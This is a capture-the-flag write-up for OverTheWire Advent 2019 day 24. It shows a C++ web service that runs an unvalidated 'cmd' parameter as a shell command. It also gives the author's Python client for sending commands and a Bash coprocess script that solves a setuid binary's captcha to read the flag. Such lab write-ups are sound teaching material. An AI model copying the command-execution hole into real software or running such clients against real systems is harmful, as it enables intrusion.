3 OverTheWire Advent 2019, day 24
5 Time spent for this challenge: 2.25 hours
7 * December 24: 2.25 hours (13:30-15:45)
15 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
16 Service: http://3.93.128.89:1224
20 Accessing the website shows some C++ code:
32 std::string exec(const char* cmd) {
33 std::array<char, 128> buffer;
35 std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
37 return std::string("Error");
39 while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
40 result += buffer.data();
47 app.loglevel(crow::LogLevel::Warning);
50 ([](const crow::request& req) {
51 std::ostringstream os;
52 if(req.url_params.get("cmd") != nullptr){
53 os << exec(req.url_params.get("cmd"));
55 os << exec("cat ./source.html");
57 return crow::response{os.str()};
60 app.port(1224).multithreaded().run();
64 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
67 Passing `ls -hla` reveals:
71 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 .
72 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 ..
73 ----r----- 1 root gotshell 38 Dec 24 08:32 flag
74 ------s--x 1 root gotshell 18K Dec 5 17:26 flag_reader
75 -rw-rw-r-- 1 root root 11K Dec 24 08:32 source.html
78 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
80 To make command execution easier, I developed a small Python script:
83 #!/usr/bin/env python3
88 print(" > ", end="", flush=True)
90 print(" ... ", end="\r", flush=True)
91 payload = { 'cmd': command }
92 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
100 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
103 1411293829 + 1732747376 = Incorrect captcha :(
105 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
108 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
110 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
113 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
116 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
118 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
127 echo -n "$R1 + $R2 = "
131 if [[ $SUM -ne $VAL ]]
140 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
148 #awk '{ sum = $1 + $3 ;
149 # print sum }' <&${p1[0]} >&${p1[1]}
153 read -d "=" captcha <&${p1[0]}
154 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
156 echo "hey solute $solution"
157 echo "$solution" >&${p1[1]}
163 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
168 import requests.exceptions
173 print(" > ", end="", flush=True)
178 if command == "EXPL":
179 with open("proc.sh", "r") as file:
180 script = "".join(file.readlines())
182 escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
183 full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
184 payload = { 'cmd': full}
186 print(" ... ", end="\r", flush=True)
187 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
188 print(" ", end="\r", flush=True)
192 except requests.exceptions.ReadTimeout:
194 except requests.exceptions.ConnectionError:
195 print("(connect error)")
198 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
200 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
205 hey solute 3.43413e+09
210 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
217 read line <&${p1[0]};
219 read -d "=" captcha <&${p1[0]};
220 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
221 printf "%.0f", sum }');
222 echo "hey solute $solution";
223 echo "$solution" >&${p1[1]};
228 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.